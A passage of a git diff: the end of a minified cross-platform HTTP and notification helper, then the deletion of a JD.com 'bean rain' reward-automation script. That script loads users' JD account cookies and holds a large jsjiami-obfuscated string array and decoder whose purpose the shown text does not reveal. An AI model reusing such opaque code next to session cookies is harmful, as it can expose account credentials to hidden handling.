t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_super_redrain.js b/activity/jd_super_redrain.js deleted file mode 100644 index 38d225b..0000000 --- a/activity/jd_super_redrain.js +++ /dev/null @@ -1,38 +0,0 @@ -/* -整点京豆雨,每天8*16豆 - -boxjs订阅地址: https://raw.githubusercontent.com/nianyuguai/longzhuzhu/main/qx/longzhuzhu.boxjs.json - -环境变量: -# 关闭京豆雨通知 -export RAIN_NOTIFY_CONTROL="false" - -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js - -[task_local] -#整点京豆雨 -3 0-23/1 * * * https://raw.githubusercontent.com/nianyuguai/longzhuzhu/main/qx/jd_super_redrain.js, tag=整点京豆雨, enabled=true - -================Loon============== -[Script] -cron "3 0-23/1 * * *" script-path=https://raw.githubusercontent.com/nianyuguai/longzhuzhu/main/qx/jd_super_redrain.js,tag=整点京豆雨 - -===============Surge================= -整点京豆雨 = type=cron,cronexp="3 0-23/1 * * *",wake-system=1,timeout=20,script-path=https://raw.githubusercontent.com/nianyuguai/longzhuzhu/main/qx/jd_super_redrain.js - -============小火箭========= -整点京豆雨= type=cron,script-path=https://raw.githubusercontent.com/nianyuguai/longzhuzhu/main/qx/jd_super_redrain.js, cronexpr="3 0-23/1 * * *",timeout=200, enable=true - */ -const $ = new Env('整点京豆雨'); - -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; - -var _0xodO='jsjiami.com.v6',_0x5e3f=[_0xodO,'JzEtwpgaOg==','YMOYcS/DmA==','w7Aww6NJQsOgSg==','Y8ORTSM=','bQ4Hw6co','Eworwrcj','B2DCunTCvA==','bhstwror','eVcUw5nChA==','w6TDnxDDuRo=','PcKfd23CgQ==','A8Ocw6vCuCc=','QcKtwqbCocOm','w7drw6DDkcOX','wonCvMOmwp1d','BcKmw4PCl0A=','wo/CrnzCmMOA','I8KMZWjCpQ==','c2YWw57Cig==','XMOSwpnCnsOf','UcKTw5woXA==','YzBWPMOk','KMKPaA==','w6xYwqxHw6Y=','RcO/WSjDkQ==','FCDDqsO1w5I=','w5bCi8Knf8KY','wo0NwrHCiMOa','wo1Lw7t5Dg==','d8KCaMKNUQ==','PMKefXfCl2U1wqhFw5I=','5buO6Ya95o615Lmc6L+a5Y64UAnorL7nqKHlk4TphIfor4cT','JkzCjnzCmg==','wohgw7tULw==','V8KxdMK9Zw==','w6MQdg==','bsO8wo7CjcO4H8KSJcOh','P8KLbnDChw==','f8K7wpfClA0=','WMOtwozCo8OT','Ii0GwrIPIRI=','woXCnGw2Fw==','N8Ogw79GZQ==','W8K7wrc8w69rfMOL','w4rDsgnDoi4=','wqLCuGvCg8OA','wo9pw5/DtMKMEXpB','aMKaUkE7Y8Krw6c=','QjM5wrAowrjCrcOz','J8O2w6pzbsOibz4=','cTwWw77CmcKXXw==','ZMK1wps/w4s=','cCtEO8OZ','VBDChBN5','GsKZeXHCrHcbwqI=','w6BVw6suwpzCqA==','w51dw4MDwoQ=','AsO5w5XClwg=','w5tWw5scwo0=','ccOnwpvCocOkCg==','wqHCjVvCncOR','w5powp0Fw53CrcOoOAseQwDDn8K/wph1SMKgw5RKw4tTHAHCrHXCtBRSPcO7LlZ4Z8KEwqUTPylxw7TDsMKhJ8KfEQ9sMMKpwojDhsKMSQs3wq0JC8KX','H8ORw53CsjltOsKIN3Y=','d8K5w4LDq8KM','d8KGw57DisKfCQ==','Mh/Dpw==','fChHwrgFw5kSFBQL','f3wQ','w5fDrw/DiBzCmxg=','wq/CjkPCqsOU','difCoTZTwo1y','w4VSwrMSw6k=','woTDpHpow60=','ZC1RwqQIw5YCFQ8Bw7XClsOLO8KmLzRbwrw=','QgMtw5XCkQ==','YA/CviRW','TMK0w5nDq8KkIirDn8OYQmMlwqRaw7bDtwFmwrk=','YSYmw6QS','asKswoo=','I8OPw5HCpCc=','w6jChsKGbsK2woDDnA==','wqbCm3Y2Lw==','wqh8VsO4wqo=','SxbCoRxr','cEMFw6/CtQ==','woTCgkAHEg==','d8Klw4nDv8Kw','wrY6R8KxCA==','AsOkw71yRQ==','ITrDpitA','w7wKc8OUw5t1woM=','w6BVw6s=','6aCK5Y+s5oqc5Yu077+i6I2t5b+C','IxvDv8Oyw4VaLVZZ','wpnCnyLClAZoBjzCtMKFb8OAwq0=','6aKw5Y665oiI5Ym1772b6Iyv5b+aYQ==','woTDjkQwwr/Ch8KPwrLDtMOVNMO5w4I=','a8OgWyfDm8OGf8K/Ng==','w4RFwphcw53ClXbDsA==','5LmZ5Lus6LWw5YyX','G33Cm13CkwDDqsKh','HMKww6XCgH/DtzPDjA==','Xemjt+WNh+aJgeWKnu+8j+iPi+W+vsOp','w5lfwo1Gw4zCjnvDm8KXPz8bwqI=','P8OFw6fCgRhgDMKuEQ==','UMK1XMK2d8KRBVk=','aMKED8OtDA==','wovDq3J+w7A=','w71Lw5kywr4=','RsKnwrYUw45udA==','6aGz5Yym5aWn6LeF772v5py25Z2F5bac6aGX6Lyx','wo7DqnE=','5byT5bm677+P','VcKxw6IJY8KJOMKAZw==','ekDCpw==','woZ6w5XDr8OOUHNBw7HCucORw4jDuHp0C0Y=','ecKgdMOWFg==','cXcDw6rDqsK4w4fCp8O6WA==','wpTCgCbCjAp5HhrCuMKZdMKDwqHDhMK1QXM0w6jCuzBowrHDiMKhwo/Cmw5rw6DDjcO4fw==','NgHDuH9sLRZNw6dPwqXCpw==','w6/CljjCrFvDpg3ClsK/K8KEXX16IMKlwrwPXBHDvU02w7RwOGtLAMKXZWfClMOlwo8pEcO/QA7DlRzDksO9','w5fDh0UqwrnCgcKfwo/Dv8OvJcKo','wqQ3w7hOVMK5','w4PCrsKWUMKQ','w7Ehw6VDQ8OjRsKCfg==','DnJmwqQpw7JBZ1HCjGDDssKGwppAXWllwqTDqsOKYMOBwq5dwpQ8XGFtGMO5wrfCmw==','RcKTeMKIcg==','wrHDqDfCmsOS','CgE0RFBZeA==','w4JWw605wqA=','ecK6MnJY','w6tfw7g/wofCtzDDrMKyQcOZD0TCszwSw70=','cnMlw6jCvQ==','Litew6kU','dcOpwr/ClsOs','O13CjkLCjA==','aMKGWMKJUg==','w4TClMK+ZsKd','asKYTX04','LikJSlI=','wqhecsOmwqs=','wqgUYMKFN2ZcSMO8TMOQwpLCnRzDisO1wrnCt8KqTcK3w5TCmVErwovDgMKpw7pUDcKGw7wtw6pMwpnDnMO3wolxUcKpwqk5w4sHekM=','fMOrwojCjcOgEcKPOsORw4c=','w5g7wpbCp8KiwqjCqCLDjWkKw77CuS7ClsKywpzDlcKPT8OlwoBwKVrDiwFBBsOtw7DDucKiTMKUw7czwrzDjmM=','wqbDsHYiwp8=','Z8ORUjXDjQ==','w4Ucw4NieMOG','ey9jMcO3','JxnDlcOzw4A=','Jj4XVVE=','SQXCoRlw','wrIFYMKWKzgW','w5JGw5/DocOa','N8O0w7HChQ==','wq9hw5vDmcK1','RcKNbsKzQA==','wqbDgGIiwq0=','w7gafsOvw5c=','44Kc5o+q56a244G66KyZ5YaS6I+i5Y2A5Lmx5Liz6Laa5Y635LiiwrYgGMOiw5/CkkHnmq/mjrrkv5rnloQZwpNTw6vCvV/nmIrkuI/kuqXnr5bliJ/oj77ljqY=','cmYSw6rCtMOjwoTDocOuWHfChMKwCTJ6VcKdRcKQw604','wqZ6TMOLwo4=','wrTDiwLCpsOKWjHCvsKRAloSw6XDtcK0w4nDn3HCkcOUwqPCnsORMcO/XlACdsKPMhY=','w5HDugvDgBTCjBjCisOGwrYTTT0ibsOZQF5/wpZlKxzClsOSwrJYF8KywplQC1Q=','wr/CunDCvcK/G8O0A2gSw55bwqTCh0gDwoA=','wqLCqDTCrsO9','wonDoHNrwqXDv03ClcO4QQ==','woDDlUQ0wqnDj8OZw4/DpsOXMsK7w5xxwp5lw63CoMKNBwVQwrXCt3QYwovCs2Qww5JPGEjCgwQOTcKRwrdKLBEvw4dGYzZc','fz0hE8OCOsKfIkgMwqB6wp07wobCuQkuwolTwqZxSA5ZOMKcWMKww6zCvhfChcOucR9FwqbCiMK6ZhPCqS4=','f8KWwoEW','Ihwnwq4L','Z8KxE8OhLg==','eQ9AK8O3','eBIowoMQ','EgJvw4MY','w43CpnjCtXjCtE3Dl8KtdcKTGSp6dsOqwpJmZwfDrEh2w691cTVWYcObIFHCjMOdwrwVDMK1AHfClUjCk8OywqQJIg04PzjCiArCmg==','bMO3awLDhQ==','X8KbfGQ+','w715w609woM=','wrHCk2DCncOR','TQAcw5cJ','wolCw5pJIA==','ZMOeSA==','RcKGwqPClcOaw73DiMKgw55gw7nDm8K+','WMKHQQ==','f8KowovCmy3DgEXCmXjDocOcYsKm','w4NkwoB0w6s=','wpLClSLChAJuHg==','wqTCq8OowohO','w5V5wp0Rw4/Do8Km','ABzDhiJ1','d8OkRwDDqg==','bcOnwo/CkA==','ZsKfwrnCpxU=','eAdcwqkV','csKIwqfCrxs=','wp/DlgjCnsO5','wofCvMOKwqpd','JcOGw6xvcA==','wohzw4TDqMKL','wpHDtV0Owp0=','TC14MMOV','HnHCgUU=','w5Rzwpsww4/DtMKv','HREzeA==','w5XDpA0=','f8KowovCijvDh0LCgQ==','HcOcw4h5eA==','WgbCuCtT','UcKGUA==','wrjDhVgtwrI=','w6lUw7o=','c3wCw7/Cv8KWw40=','wpbDkiPCgsO6','wqUYfcKB','wpB6w7hnHg==','PcKGdHnCtA==','wow7wpDCusOJ','bCFwL8OB','YjbCpztcwp56wpgr','wp/CqcOY','wobDgF0h','b8KrTErorJXmsZTlpYfot6LvvK3orYDmo53mn4/nvbDotKzphZHorJE=','wqHCoGU6MQ==','Hz3DgyRm','TcKaY3sA','wpFhw47DrMKH','dcK2w70JZg==','RmZkwrcc','HGfCtFnCugjDqQ==','BsOmw6/CiQA=','wq4XesKPFA==','BcKlw7TCsV4=','wrLDswLCvcOt','RsKITcKvTQ==','asOnWw3Dvw==','wpvCmTXCiy17Egs=','ZMKMw6bDiMKR','w7XCmsKEZ8K9','w6HCisKRYcK5wpXDkAM=','wrfDtnNpw4bDv0zCmQ==','XMKxwpHCqcOi','GA0MwpwA','w6ZKwrBjw7A=','5LmF5paa6b6I54yc8LKQo+S/t+WDne+/jeaZn+eqmuS5temFkeKar++5ie+8vOaVqOaVteWEneafj++8g1Lli4vlvrDpvrjnjo/luqPnpbHnporms7Hpm4oLwqQHw4vDmgtNw4Fbw4vDn8KnGMOhwo3DmMOxwpp7w6kXK3s8ew==','fyvCtjl8wph+wps=','wpUTccKHCj0eAg==','w5VOw4sYwqI=','ZsKHDXhC','w5fCgH7Co1k=','wrMUZsKcKjsaAcOt','GXvCnw==','HcKoZ3roroLmsYDlp7fotqfvv4boravmo4LmnLfnvoHotITphKnor5Y=','5Lic5LqW5p225YiN5ZiV6Ly75Zqn56qE5pef5o63','5pam5rKf5LuT5p635Z2e6K255Y2e6YeN576g77yn6K2l5qGz5py56L6D6KCo5pah6Ze5','e2JnwqQn','SQkjw5zCuQ==','w4gFw5JkbA==','wp/CqcOYwr5IBg==','H8O2w6g=','IcKLcWY=','UcKDLcOEOQ==','GMKEZnDCmA==','wpcObsKGPg==','QcKowqEGw4Y=','wrnDlBU=','ORDDvDQ=','L8Oo5aWo6LaQWcKw5Y+Q5ZiTwojDng==','wqbCpQbCpTFFLS/CmMK4RcO+wovCqA==','wpPDmQTCk8Op','OBPDuzRidw==','WMKuR2o8','wrfDtWNow5w=','T2ITw6nCkw==','b1dZwqMC','ccORTDXDjQ==','TMKYDMOHLA==','aMK2w6Axew==','w6PCjMKV','5p2e5Z616YeC572vcsORQ2FP','wrTCr34=','5Lqi5Lm25p2m5YiR5Zi36Ky+6ZSh5paK5o+f5Liy56ib77616K+r5qK/5p6M6IaB6Luu6K6l5aWt576k57qn5oKQ5YSw','5LuO6Kax5Zyow6LCsWQ7e+aKvuWIiuWkquWKlOezpui0qOS9q+aUo3zCky7Cli86','wrMUZsKcKjs=','fDZ6wq0F','AEPCrV/Cmw==','w4tGwpovw6U=','wq1Gw6dCOQ==','RMOQwp3Co8Oc','YMK4wpXCr8ON','IsOyw5dtUA==','wrHDnRHCocOA','wrvDgU5Pw6c=','wrHDvE5Pw50=','wrzDlRbCr8ObdjY=','wpDDoGZ3w6nDvUQ=','cCkKw7vCjA==','fcKnworCpcO7w4vDvw==','w5hzwoAb','wqwFesKSMDQ=','E8Ofw5PClCA=','GDbDtMONw6A=','WMKMwq3CmcOl','RRl6wpkjw6o=','AsOww7xp','TmNlwqAPw7RUKGXCizHCsQ==','cH0Pw7Q=','wrFVcMOMwr9/FA==','wrNRcsOTwrs=','NQwPX1g=','fcKQw5HDn8Ky','ZcKvHVJ3','SsKqw7c=','JMKww6c=','HTY+wqUg','w5hDwp4=','w5tRwpRX','w7PCunjCvUM=','w6YMX8O4w5B0','PBTDqCI=','L8Ksw7LCt1DDtTY=','wpF1w4/Dtw==','TX98','HTXDjhVEQSlu','KsKEag==','wr/CtAnCpCZYKik=','w6pbw6AYwos=','b8KnPg==','w4PDvgnDhRPCiBDCmMOW','w5Bewo8=','wpc5wpzCpcOnw5fDoA==','wojCgnskMcKE','wqZIacOU','woZlw4jDu8KDBHY=','FB7DvjpoZjZt','wqjCrlsIBcKywpw=','BSVyw7AHw6fDgsOEw7w=','wr/CpW3CqcOyT8Ox','w4wQfsO8w510wpXDkMKF','w5hRwok=','woJvw5PDtMKLFQ==','R8KpUcKsZsKK','w43CpnjCtXjCtE3Dl8K7dMOUXSN6f8Ohw5EqfRnCplspw68=','XcKDwrXCjsOWw7bDlcKrw5Zhw6XDisKpJcOmYsKLwrQy','wqnCqkMfAQ==','V2YWw6nCrA==','dcOrwrLCgMOh','44OF5o2r56WI44Ob6K2U5YWx6I+n5Yyc5LmU5Lmx6LSS5Y+K5LqPw6XCtMOIwphswpHCpueYo+aMlOS/nueVtcOQWFxXEsOE55qZ5LqQ5LuP56235Yin6I2W5Y2s','wrDCtG3CvcOgAcK/SWwbw55Bw6/DhkYLwpZSYVnDssOj','w7bCh1zCgFnDkTDCucKTSsOiIRwV','Dy5Zw50s','MMOQw6x7TQ==','wrvDjQvCocOq','wqc9wrbCjMOJ','w6zCnnbClV8=','YBZaGMOe','wq9fZw==','J1HCvXLCmg==','wqgzwozCqMOb','wqbCocOYwrRo','wpJ+w5U=','PMKebmrCjHEfwqFY','WMKfwrM=','Qjs3wr4=','wonDm0Ylwpk=','U8K4wpc1w5g=','wpXCrMO8wplD','PMOmw4zCjw9J','w5JVwo1Ww4jCiGM=','XBoJw7s3','wpl0w4ZVKsO5woM=','G8Kzw6LCuVk=','wqwPcw==','5p+E5Z6R6YW957yqwojCp8K3w5rCsQ==','WsK+wpvCtDY=','w4nCvWs=','5Y+N5Zek6b6k542TfQ==','JhYTwpQi','TcKvWg==','5Y2J5Ze25a6A5ouV','w5zDpRw=','5Lm/5peV6b2g54658LWDjuS8k+WDju+/vuaYuOeosOS5sOmEmuKZme+7lu+8meaVm+aWouWHteadg++/uCfliqjlvqDpvbXnjqHluoznpLrnpoPms6XpmZAyZcOwKMOhOl3CjSnDqy3ChVLCqcKZcMOESFI5wpU2woXCqmc=','VcK1w7wJeQ==','bjgW','WcK9wrM=','6b6N542e5bGO5L2TKjw=','wrFJZsOnwqg=','JQV/w4EK','T8Kfw7swVw==','wohaw5fDj8K4','WMKkwo3ChzQ=','acO6wpXCiQ==','woHCo8OPwpdbF1E=','wo0nwpTCqcOr','wpNlw4rDusKQA3I=','wpQ4wpHCrg==','TcKlU8K/d8KQ','YMKWw78YVQ==','w40rd8Olw7k=','wrkPwrTCtMOz','wrMVdsKGMC4=','c8K9KsOd','e8O6wpPCicOVEMKaMcObw4zCjQI=','X8KDwr3CoA==','bMKQw6DDicKaDwA=','w7sqWMOjw54=','QQ0Aw6DCtQ==','wpl0w4ZkH8OOwqrDoMKzwrdQ','DisiSl0=','woZlw4jDksKLHmJQw7LCpg==','cMOAwqXCrcOc','w5hvw4DDqsOrw6oMb8KXw4U=','KiV6','fggbw6FG','wovDrlIewr4=','GsOBw7lldg==','Xihuwo4B','OcO6w6U=','5pWS5rOJ5Lin5p2Z5Z6e6K2s5YyR6YWa57yP77226K6Z5qKy5p2I6LyO6KO55pay6ZaO','wrnDlBXCj8ORSw==','fBMNw7cp','HsOgw6FmVMOr','VMODWzTDpsOre8Kp','S8KNw4kpRw==','w6LCgsKGacK/','RTQ+wr4e','w7tYw5LDscOQ','w6bCkMK+ZcKwwp3Dkw==','J8Kqw6PCmX/DtzPDjA==','JsKRw4/CiHk=','wqPCpEg=','TGA3wrFEwqjCouW+gOWkheOAu+S4vuS6r+i3uuWOpA==','SMKuWcK9ew==','wqHCokwHKsKnwpDClQ==','VsK7PMOHNsOxIsKW','DMOvwrpKJ8OEe8OMNDE=','asK7FcOaH8O5IQ==','VsKjwrbClBo=','NsOnw5vCgww=','LMKYRWDChQ==','IsKZew==','w4vCs2HCoA==','44Ou5o+B56aI44CgKMOiwo3DpMKvwqDlt5HlpZDmlbk=','5Lic5LqW6LWd5Y2b','c3wCw7/Cvw==','w5x1wooew6DDtsKqcg==','RDHCsCB8wph+wps=','EOivpemGq+aUqueavOW+jOiMnOWMmMKGVWLCnsOuFyY/HsORQ8Kew645wpUCw5E1wqbDhsOgwrlJ','w4zCoULCqm/Dqw==','NS9zw78gw63DvMOpwqhS','w6Jbw6EO','LMKFc2jCi3PltoTlp7bmlanClzAK','wqDCgzPCki17Egs=','5Lqy5Lup6La25Y2S','w6VUw6gOwpY=','eSk/wqkowrjCrcOz','EOivpemGq+aUqueavOW+jOiMnOWMmMOvUnnCgcO3AQ==','wpNKw5TDnsKS','NT58w68bw7HDi8OvwqpO','JzEt','5big6YeA5o6Q5LqO6L2G5Yy4VDborKnnqqzlkaXphbLor4nCnw==','QDU9','cC0Uw7vClsKTUyLCuw==','wqTCm0QpKw==','wpzCgEUpKg==','EsONw47ClAc=','RTEpwqok','SMKawrDCtMOl','Z8KuVMKBSA==','ZcKuQ3E3','fMKLwqMyw6g=','w7FowrBVw44=','XMOAwqrCgsOl','wrXCqMOWwqJx','WRZy','5b6w5bik77+zDsKMw7rCtHBDQEzlpI/ljYLmgILlkZPvvYjlpKzlkZTku6/kvJ/mkJTog47ogKLov7bCv3fDsB5RPMKwYRUrNMOKw6ZEKHJww5jDssOqKMOZBkEwZMKx','J8Ofw6/CjDM=','IiXDoMO3w7M=','ZwIAwogC','bMKdwpgEw6U=','byNUwrkT','eDHCmz1Wwpw=','RsK3wrozw69lZcOHw7l3','wp3Cp8OSwp4=','w6LCkMKV','wq1RbcOF','w6/Cnn3Cp0E=','EnHCjFLCvBXDpg==','w7RSwpkAw6c=','Mz9Qw78C','YMKpLcOWEA==','AQsn','wozDpHt+','wonDsuWkvei3oCrCruWPveWYmMOgJA==','wr7CqXfCrMO/V8Op','ZcOfUCM=','wqnDllgJwp8=','LyR5w74Ww43Drg==','w7vCkcKbZw==','ccKtKcOZGcOzKg==','TsKZW1oB','wofClSDChRFpGg==','dMKaw7nDiw==','wp/Co8ORwpxOHA==','WsKFwrwtw5k=','CQoswrwD','OCDDkjZQ','cMK9O8OGDMOi','UcK1TsKw','QMK3w78NTsKGMMKUXVTChBw=','a8OfVyg=','PcKPbG/Cg3UT','HCgIwosb','KcKGc2zCkA==','wqkUecKRDA==','O8Kiw67Cll7Duw==','w4Zow74YwrY=','TnBmwr4p','WcK0wpUmw7c=','w4Jgwo1ww54=','ZURzwr8B','FcKuZHnCiA==','FGHCr3TClg==','TMKVeMK8Qg==','dH0Hw7LClcK8w4/CnMOtVHjCpsOxEGh1Q8OK','w7Ayw5FzWA==','OsKtTmHCpg==','YRtGEMOT','wo/DgHgXwrw=','w5Riw58/wqM=','RcKADExk','wqwlbMKAHg==','ICzDpsOcw5I=','wqZJw6FlBg==','c8OuwrTCtMOd','wpfCqMOUwolK','ZcKxZGc4','McKVw4zCtn0=','w5Fqw63DucOt','wqHCpXvCh8OG','eMOVXAzDvQ==','wqfDngLCpsOCWjU=','VMKxwqA+w5djZcOXw5Zq','ZMKtLQ==','woLCg8OFwpxq','w65Lw4sYwo0=','wpfCgBLCjQI=','wr/CtsOxwpNy','wq7DtVhzw4A=','5buM6YWZ5o6m5Lut6L6w5Y6XScO96K6S56i35ZGV6YSq6Ky8woQ=','woHCs8Oowrp+','KjvDpsO6w44=','wrrCjWk7CQ==','UcKGUHYHcA==','w5lfwp4=','RRhqwoM5w78kJz8=','woTDjlc=','W8KNwrnCqw==','PsK0w4DDrOisjOawruWllOi2ru++neivs+ajuuaen+e+tui3uumFteittg==','w4bCjMKZesKC','ZMK2w4rDvMKi','ScKGRVUM','SMKDFsOmOw==','w5ZBw6XDrsOJ','UwJu','wrDDhF9Vw5fDkG7CqMOHYk3CucKgYVwef3R5','wqlow51QKQ==','wo5ww4BCLg==','wo9AYsODwrE=','w7Egw7VpQsOgSg==','6aKc5Y+E5om25YiF77+L6I2u5by8','JAXDozhvZBVPwrA=','bcOfSjLDjcO4b8KeJ8O5Am4q','6aKz5Y6v5oiF5Yul776e6I+l5b2nbA==','PSHDtDByTxVawr0=','wqnCtXjCo8OnUsOkHw==','5LmE5Lq96LSW5Y6z','wohuw5jDusKa','w5dlw5fDqMOTw6IVcw==','S8KGw7XDl8K1DQjDrg==','F+mgjuWMquaLtOWIie+9tOiNjOW/lMK4','wp/CqcOLwo9fBk0SNMO6wrrDrsK1','w6gFw7JLXsOIRsKXcw==','ZcKgHnBkdXfCtA==','EMO1w4tsQQ==','w6YRdcOyw4w=','Y8KnwpLCp8O9w5A=','wr/CtsOdwphV','JsOgw6DCowRIAA==','Y8Ktwps=','5Lur5pSl5qyc5pao5bex5riZ','6aGk5Y2T5aSn6LS+776E5p6y5Zyb5bSO6aCI6L+j','5by/5buR77yt','wqvCtGvCpMO9XMO5AHc=','jWxsjriyAamiLMb.Mczogbm.qv6k=='];(function(_0x1cf78d,_0x49e75a,_0x483c22){var _0x164160=function(_0x535e10,_0x5e2a1d,_0xb61849,_0x3a6b2b,_0x1813a3){_0x5e2a1d=_0x5e2a1d>>0x8,_0x1813a3='po';var _0x3a7d60='shift',_0x4b569a='push';if(_0x5e2a1d<_0x535e10){while(--_0x535e10){_0x3a6b2b=_0x1cf78d[_0x3a7d60]();if(_0x5e2a1d===_0x535e10){_0x5e2a1d=_0x3a6b2b;_0xb61849=_0x1cf78d[_0x1813a3+'p']();}else if(_0x5e2a1d&&_0xb61849['replace'](/[WxryALMbMzgbqk=]/g,'')===_0x5e2a1d){_0x1cf78d[_0x4b569a](_0x3a6b2b);}}_0x1cf78d[_0x4b569a](_0x1cf78d[_0x3a7d60]());}return 0x884b2;};return _0x164160(++_0x49e75a,_0x483c22)>>_0x49e75a^_0x483c22;}(_0x5e3f,0x13d,0x13d00));var _0x5104=function(_0x47f43a,_0x58d466){_0x47f43a=~~'0x'['concat'](_0x47f43a);var _0x434fd5=_0x5e3f[_0x47f43a];if(_0x5104['ejeFgG']===undefined){(function(){var _0x39fc7c=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x4a799e='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x39fc7c['atob']||(_0x39fc7c['atob']=function(_0x17588f){var _0x178c77=String(_0x17588f)['replace'](/=+$/,'');for(var _0x1a7d3a=0x0,_0x8b2d70,_0x419d4c,_0x4021e9=0x0,_0x5564a0='';_0x419d4c=_0x178c77['charAt'](_0x4021e9++);~_0x419d4c&&(_0x8b2d70=_0x1a7d3a%0x4?_0x8b2d70*0x40+_0x419d4c:_0x419d4c,_0x1a7d3a++%0x4)?_0x5564a0+=String['fromCharCode'](0xff&_0x8b2d70>>(-0x2*_0x1a7d3a&0x6)):0x0){_0x419d4c=_0x4a799e['indexOf'](_0x419d4c);}return _0x5564a0;});}());var _0x316571=function(_0x59a786,_0x58d466){var _0x46624a=[],_0x358ec2=0x0,_0x366d38,_0x3137b7='',_0x274178='';_0x59a786=atob(_0x59a786);for(var _0x52cab8=0x0,_0x315f81=_0x59a786['length'];_0x52cab8<_0x315f81;_0x52cab8++){_0x274178+='%'+('00'+_0x59a786['charCodeAt'](_0x52cab8)['toString'](0x10))['slice'](-0x2);}_0x59a786=decodeURIComponent(_0x274178);for(var _0x359546=0x0;_0x359546<0x100;_0x359546++){_0x46624a[_0x359546]=_0x359546;}for(_0x359546=0x0;_0x359546<0x100;_0x359546++){_0x358ec2=(_0x358ec2+_0x46624a[_0x359546]+_0x58d466['charCodeAt'](_0x359546%_0x58d466['length']))%0x100;_0x366d38=_0x46624a[_0x359546];_0x46624a[_0x359546]=_0x46624a[_0x358ec2];_0x46624a[_0x358ec2]=_0x366d38;}_0x359546=0x0;_0x358ec2=0x0;for(var _0x1d2f0b=0x0;_0x1d2f0b<_0x59a786['length'];_0x1d2f0b++){_0x359546=(_0x359546+0x1)%0x100;_0x358ec2=(_0x358ec2+_0x46624a[_0x359546])%0x100;_0x366d38=_0x46624a[_0x359546];_0x46624a[_0x359546]=_0x46624a[_0x358ec2];_0x46624a[_0x358ec2]=_0x366d38;_0x3137b7+=String['fromCharCode'](_0x59a786['charCodeAt'](_0x1d2f0b)^_0x46624a[(_0x46624a[_0x359546]+_0x46624a[_0x358ec2])%0x100]);}return _0x3137b7;};_0x5104['TWxHzq']=_0x316571;_0x5104['kEigcA']={};_0x5104['ejeFgG']=!![];}var 